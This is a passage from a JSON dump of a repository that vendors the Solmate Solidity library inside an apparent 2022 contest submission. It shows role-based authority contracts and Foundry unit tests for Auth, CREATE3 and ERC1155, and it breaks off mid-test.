/*///////////////////////////////////////////////////////////////\n                            ROLE/USER STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => bytes32) public getUserRoles;\n\n    mapping(bytes4 => bool) public isCapabilityPublic;\n\n    mapping(bytes4 => bytes32) public getRolesWithCapability;\n\n    function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {\n        return (uint256(getUserRoles[user]) >> role) & 1 != 0;\n    }\n\n    function doesRoleHaveCapability(uint8 role, bytes4 functionSig) public view virtual returns (bool) {\n        return (uint256(getRolesWithCapability[functionSig]) >> role) & 1 != 0;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                          AUTHORIZATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public view virtual override returns (bool) {\n        Authority customAuthority = getTargetCustomAuthority[target];\n\n        if (address(customAuthority) != address(0)) return customAuthority.canCall(user, target, functionSig);\n\n        return\n            isCapabilityPublic[functionSig] || bytes32(0) != getUserRoles[user] & getRolesWithCapability[functionSig];\n    }\n\n    /*///////////////////////////////////////////////////////////////\n               CUSTOM TARGET AUTHORITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setTargetCustomAuthority(address target, Authority customAuthority) public virtual requiresAuth {\n        getTargetCustomAuthority[target] = customAuthority;\n\n        emit TargetCustomAuthorityUpdated(target, customAuthority);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  PUBLIC CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setPublicCapability(bytes4 functionSig, bool enabled) public virtual requiresAuth {\n        isCapabilityPublic[functionSig] = enabled;\n\n        emit PublicCapabilityUpdated(functionSig, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                      USER ROLE ASSIGNMENT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setUserRole(\n        address user,\n        uint8 role,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getUserRoles[user] |= bytes32(1 << role);\n        } else {\n            getUserRoles[user] &= ~bytes32(1 << role);\n        }\n\n        emit UserRoleUpdated(user, role, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  ROLE CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setRoleCapability(\n        uint8 role,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getRolesWithCapability[functionSig] |= bytes32(1 << role);\n        } else {\n            getRolesWithCapability[functionSig] &= ~bytes32(1 << role);\n        }\n\n        emit RoleCapabilityUpdated(role, functionSig, enabled);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/auth/authorities/RolesAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Auth, Authority} from \"../Auth.sol\";\n\n/// @notice Role based Authority that supports up to 256 roles.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/RolesAuthority.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-roles/blob/master/src/roles.sol)\ncontract RolesAuthority is Auth, Authority {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);\n\n    event PublicCapabilityUpdated(address indexed target, bytes4 indexed functionSig, bool enabled);\n\n    event RoleCapabilityUpdated(uint8 indexed role, address indexed target, bytes4 indexed functionSig, bool enabled);\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}\n\n    /*///////////////////////////////////////////////////////////////\n                            ROLE/USER STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => bytes32) public getUserRoles;\n\n    mapping(address => mapping(bytes4 => bool)) public isCapabilityPublic;\n\n    mapping(address => mapping(bytes4 => bytes32)) public getRolesWithCapability;\n\n    function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {\n        return (uint256(getUserRoles[user]) >> role) & 1 != 0;\n    }\n\n    function doesRoleHaveCapability(\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public view virtual returns (bool) {\n        return (uint256(getRolesWithCapability[target][functionSig]) >> role) & 1 != 0;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                          AUTHORIZATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public view virtual override returns (bool) {\n        return\n            isCapabilityPublic[target][functionSig] ||\n            bytes32(0) != getUserRoles[user] & getRolesWithCapability[target][functionSig];\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  ROLE CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setPublicCapability(\n        address target,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        isCapabilityPublic[target][functionSig] = enabled;\n\n        emit PublicCapabilityUpdated(target, functionSig, enabled);\n    }\n\n    function setRoleCapability(\n        uint8 role,\n        address target,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getRolesWithCapability[target][functionSig] |= bytes32(1 << role);\n        } else {\n            getRolesWithCapability[target][functionSig] &= ~bytes32(1 << role);\n        }\n\n        emit RoleCapabilityUpdated(role, target, functionSig, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                      USER ROLE ASSIGNMENT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setUserRole(\n        address user,\n        uint8 role,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getUserRoles[user] |= bytes32(1 << role);\n        } else {\n            getUserRoles[user] &= ~bytes32(1 << role);\n        }\n\n        emit UserRoleUpdated(user, role, enabled);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/Auth.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthChild} from \"./utils/mocks/MockAuthChild.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\ncontract OutOfOrderAuthority is Authority {\n    function canCall(\n        address,\n        address,\n        bytes4\n    ) public pure override returns (bool) {\n        revert(\"OUT_OF_ORDER\");\n    }\n}\n\ncontract AuthTest is DSTestPlus {\n    MockAuthChild mockAuthChild;\n\n    function setUp() public {\n        mockAuthChild = new MockAuthChild();\n    }\n\n    function testSetOwnerAsOwner() public {\n        mockAuthChild.setOwner(address(0xBEEF));\n        assertEq(mockAuthChild.owner(), address(0xBEEF));\n    }\n\n    function testSetAuthorityAsOwner() public {\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n        assertEq(address(mockAuthChild.authority()), address(0xBEEF));\n    }\n\n    function testCallFunctionAsOwner() public {\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetOwnerWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(this));\n    }\n\n    function testSetAuthorityWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testCallFunctionWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetAuthorityAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setAuthority(new MockAuthority(true));\n    }\n\n    function testFailSetOwnerAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(0xBEEF));\n    }\n\n    function testFailSetAuthorityAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testFailCallFunctionAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(this));\n    }\n\n    function testFailSetAuthorityWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testFailCallFunctionWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setOwner(address(0));\n    }\n\n    function testFailCallFunctionAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetOwnerAsOwner(address newOwner) public {\n        mockAuthChild.setOwner(newOwner);\n        assertEq(mockAuthChild.owner(), newOwner);\n    }\n\n    function testSetAuthorityAsOwner(Authority newAuthority) public {\n        mockAuthChild.setAuthority(newAuthority);\n        assertEq(address(mockAuthChild.authority()), address(newAuthority));\n    }\n\n    function testSetOwnerWithPermissiveAuthority(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testSetAuthorityWithPermissiveAuthority(address deadOwner, Authority newAuthority) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testCallFunctionWithPermissiveAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsNonOwner(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testFailSetAuthorityAsNonOwner(address deadOwner, Authority newAuthority) public {\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testFailCallFunctionAsNonOwner(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerWithRestrictiveAuthority(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testFailSetAuthorityWithRestrictiveAuthority(address deadOwner, Authority newAuthority) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testFailCallFunctionWithRestrictiveAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsOwnerWithOutOfOrderAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setOwner(deadOwner);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/Bytes32AddressLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {Bytes32AddressLib} from \"../utils/Bytes32AddressLib.sol\";\n\ncontract Bytes32AddressLibTest is DSTestPlus {\n    function testFillLast12Bytes() public {\n        assertEq(\n            Bytes32AddressLib.fillLast12Bytes(0xfEEDFaCEcaFeBEEFfEEDFACecaFEBeeFfeEdfAce),\n            0xfeedfacecafebeeffeedfacecafebeeffeedface000000000000000000000000\n        );\n    }\n\n    function testFromLast20Bytes() public {\n        assertEq(\n            Bytes32AddressLib.fromLast20Bytes(0xfeedfacecafebeeffeedfacecafebeeffeedfacecafebeeffeedfacecafebeef),\n            0xCAfeBeefFeedfAceCAFeBEEffEEDfaCecafEBeeF\n        );\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/CREATE3.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {WETH} from \"../tokens/WETH.sol\";\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockERC20} from \"./utils/mocks/MockERC20.sol\";\nimport {MockAuthChild} from \"./utils/mocks/MockAuthChild.sol\";\n\nimport {CREATE3} from \"../utils/CREATE3.sol\";\n\ncontract CREATE3Test is DSTestPlus {\n    function testDeployERC20() public {\n        bytes32 salt = keccak256(bytes(\"A salt!\"));\n\n        MockERC20 deployed = MockERC20(\n            CREATE3.deploy(\n                salt,\n                abi.encodePacked(type(MockERC20).creationCode, abi.encode(\"Mock Token\", \"MOCK\", 18)),\n                0\n            )\n        );\n\n        assertEq(address(deployed), CREATE3.getDeployed(salt));\n\n        assertEq(deployed.name(), \"Mock Token\");\n        assertEq(deployed.symbol(), \"MOCK\");\n        assertEq(deployed.decimals(), 18);\n    }\n\n    function testFailDoubleDeploySameBytecode() public {\n        bytes32 salt = keccak256(bytes(\"Salty...\"));\n\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n    }\n\n    function testFailDoubleDeployDifferentBytecode() public {\n        bytes32 salt = keccak256(bytes(\"and sweet!\"));\n\n        CREATE3.deploy(salt, type(WETH).creationCode, 0);\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n    }\n\n    function testDeployERC20(\n        bytes32 salt,\n        string calldata name,\n        string calldata symbol,\n        uint8 decimals\n    ) public {\n        MockERC20 deployed = MockERC20(\n            CREATE3.deploy(salt, abi.encodePacked(type(MockERC20).creationCode, abi.encode(name, symbol, decimals)), 0)\n        );\n\n        assertEq(address(deployed), CREATE3.getDeployed(salt));\n\n        assertEq(deployed.name(), name);\n        assertEq(deployed.symbol(), symbol);\n        assertEq(deployed.decimals(), decimals);\n    }\n\n    function testFailDoubleDeploySameBytecode(bytes32 salt, bytes calldata bytecode) public {\n        CREATE3.deploy(salt, bytecode, 0);\n        CREATE3.deploy(salt, bytecode, 0);\n    }\n\n    function testFailDoubleDeployDifferentBytecode(\n        bytes32 salt,\n        bytes calldata bytecode1,\n        bytes calldata bytecode2\n    ) public {\n        CREATE3.deploy(salt, bytecode1, 0);\n        CREATE3.deploy(salt, bytecode2, 0);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/DSTestPlus.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\ncontract DSTestPlusTest is DSTestPlus {\n    function testBound() public {\n        assertEq(bound(5, 0, 4), 0);\n        assertEq(bound(0, 69, 69), 69);\n        assertEq(bound(0, 68, 69), 68);\n        assertEq(bound(10, 150, 190), 174);\n        assertEq(bound(300, 2800, 3200), 3107);\n        assertEq(bound(9999, 1337, 6666), 4669);\n    }\n\n    function testFailBoundMinBiggerThanMax() public pure {\n        bound(5, 100, 10);\n    }\n\n    function testBound(\n        uint256 num,\n        uint256 min,\n        uint256 max\n    ) public {\n        if (min > max) (min, max) = (max, min);\n\n        uint256 bounded = bound(num, min, max);\n\n        assertGe(bounded, min);\n        assertLe(bounded, max);\n    }\n\n    function testFailBoundMinBiggerThanMax(\n        uint256 num,\n        uint256 min,\n        uint256 max\n    ) public pure {\n        if (max == min) {\n            unchecked {\n                min++; // Overflow is handled below.\n            }\n        }\n\n        if (max > min) (min, max) = (max, min);\n\n        bound(num, min, max);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ERC1155.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC1155} from \"./utils/mocks/MockERC1155.sol\";\nimport {ERC1155User} from \"./utils/users/ERC1155User.sol\";\n\nimport {ERC1155TokenReceiver} from \"../tokens/ERC1155.sol\";\n\ncontract ERC1155Recipient is ERC1155TokenReceiver {\n    address public operator;\n    address public from;\n    uint256 public id;\n    uint256 public amount;\n    bytes public mintData;\n\n    function onERC1155Received(\n        address _operator,\n        address _from,\n        uint256 _id,\n        uint256 _amount,\n        bytes calldata _data\n    ) public override returns (bytes4) {\n        operator = _operator;\n        from = _from;\n        id = _id;\n        amount = _amount;\n        mintData = _data;\n\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    address public batchOperator;\n    address public batchFrom;\n    uint256[] internal _batchIds;\n    uint256[] internal _batchAmounts;\n    bytes public batchData;\n\n    function batchIds() external view returns (uint256[] memory) {\n        return _batchIds;\n    }\n\n    function batchAmounts() external view returns (uint256[] memory) {\n        return _batchAmounts;\n    }\n\n    function onERC1155BatchReceived(\n        address _operator,\n        address _from,\n        uint256[] calldata _ids,\n        uint256[] calldata _amounts,\n        bytes calldata _data\n    ) external override returns (bytes4) {\n        batchOperator = _operator;\n        batchFrom = _from;\n        _batchIds = _ids;\n        _batchAmounts = _amounts;\n        batchData = _data;\n\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n}\n\ncontract RevertingERC1155Recipient is ERC1155TokenReceiver {\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155Received.selector)));\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155BatchReceived.selector)));\n    }\n}\n\ncontract WrongReturnDataERC1155Recipient is ERC1155TokenReceiver {\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n}\n\ncontract NonERC1155Recipient {}\n\ncontract ERC1155Test is DSTestPlus, ERC1155TokenReceiver {\n    MockERC1155 token;\n\n    mapping(address => mapping(uint256 => uint256)) public userMintAmounts;\n    mapping(address => mapping(uint256 => uint256)) public userTransferOrBurnAmounts;\n\n    function setUp() public {\n        token = new MockERC1155();\n    }\n\n    function testMintToEOA() public {\n        token.mint(address(0xBEEF), 1337, 1, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 1);\n    }\n\n    function testMintToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        token.mint(address(to), 1337, 1, \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.mintData(), \"testing 123\");\n    }\n\n    function testBatchMintToEOA() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](5);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n        amounts[4] = 500;\n\n        token.batchMint(address(0xBEEF), ids, amounts, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 300);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 400);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 500);\n    }\n\n    function testBatchMintToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](5);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n        amounts[4] = 500;\n\n        token.batchMint(address(to), ids, amounts, \"testing 123\");\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(0));\n        assertUintArrayEq(to.batchIds(), ids);\n        assertUintArrayEq(to.batchAmounts(), amounts);\n        assertBytesEq(to.batchData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 100);\n        assertEq(token.balanceOf(address(to), 1338), 200);\n        assertEq(token.balanceOf(address(to), 1339), 300);\n        assertEq(token.balanceOf(address(to), 1340), 400);\n        assertEq(token.balanceOf(address(to), 1341), 500);\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1337, 100, \"\");\n\n        token.burn(address(0xBEEF), 1337, 70);\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 30);\n    }\n\n    function testBatchBurn() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory burnAmounts = new uint256[](5);\n        burnAmounts[0] = 50;\n        burnAmounts[1] = 100;\n        burnAmounts[2] = 150;\n        burnAmounts[3] = 200;\n        burnAmounts[4] = 250;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 50);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 150);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 250);\n    }\n\n    function testApproveAll() public {\n        token.setApprovalForAll(address(0xBEEF), true);\n\n        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));\n    }\n\n    function testSafeTransferFromToEOA() public {\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 100, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337, 70, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 70);\n        assertEq(token.balanceOf(address(from), 1337), 30);\n    }\n\n    function testSafeTransferFromToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 100, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(to), 1337, 70, \"testing 123\");\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(from));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.mintData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 70);\n        assertEq(token.balanceOf(address(from), 1337), 30);\n    }\n\n    function testSafeTransferFromSelf() public {\n        token.mint(address(this), 1337, 100, \"\");\n\n        token.safeTransferFrom(address(this), address(0xBEEF), 1337, 70, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 70);\n        assertEq(token.balanceOf(address(this), 1337), 30);\n    }\n\n    function testSafeBatchTransferFromToEOA() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n\n        assertEq(token.balanceOf(address(from), 1337), 50);\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 50);\n\n        assertEq(token.balanceOf(address(from), 1338), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 100);\n\n        assertEq(token.balanceOf(address(from), 1339), 150);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 150);\n\n        assertEq(token.balanceOf(address(from), 1340), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 200);\n\n        assertEq(token.balanceOf(address(from), 1341), 250);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 250);\n    }\n\n    function testSafeBatchTransferFromToERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(to), ids, transferAmounts, \"testing 123\");\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(from));\n        assertUintArrayEq(to.batchIds(), ids);\n        assertUintArrayEq(to.batchAmounts(), transferAmounts);\n        assertBytesEq(to.batchData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(from), 1337), 50);\n        assertEq(token.balanceOf(address(to), 1337), 50);\n\n        assertEq(token.balanceOf(address(from), 1338), 100);\n        assertEq(token.balanceOf(address(to), 1338), 100);\n\n        assertEq(token.balanceOf(address(from), 1339), 150);\n        assertEq(token.balanceOf(address(to), 1339), 150);\n\n        assertEq(token.balanceOf(address(from), 1340), 200);\n        assertEq(token.balanceOf(address(to), 1340), 200);\n\n        assertEq(token.balanceOf(address(from), 1341), 250);\n        assertEq(token.balanceOf(address(to), 1341), 250);\n    }\n\n    function testBatchBalanceOf() public {\n        address[] memory tos = new address[](5);\n        tos[0] = address(0xBEEF);\n        tos[1] = address(0xCAFE);\n        tos[2] = address(0xFACE);\n        tos[3] = address(0xDEAD);\n        tos[4] = address(0xFEED);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        token.mint(address(0xBEEF), 1337, 100, \"\");\n        token.mint(address(0xCAFE), 1338, 200, \"\");\n        token.mint(address(0xFACE), 1339, 300, \"\");\n        token.mint(address(0xDEAD), 1340, 400, \"\");\n        token.mint(address(0xFEED), 1341, 500, \"\");\n\n        uint256[] memory balances = token.balanceOfBatch(tos, ids);\n\n        assertEq(balances[0], 100);\n        assertEq(balances[1], 200);\n        assertEq(balances[2], 300);\n        assertEq(balances[3], 400);\n        assertEq(balances[4], 500);\n    }\n\n    function testFailMintToZero() public {\n        token.mint(address(0), 1337, 1, \"\");\n    }\n\n    function testFailMintToNonERC155Recipient() public {\n        token.mint(address(new NonERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailMintToRevertingERC155Recipient() public {\n        token.mint(address(new RevertingERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailMintToWrongReturnDataERC155Recipient() public {\n        token.mint(address(new 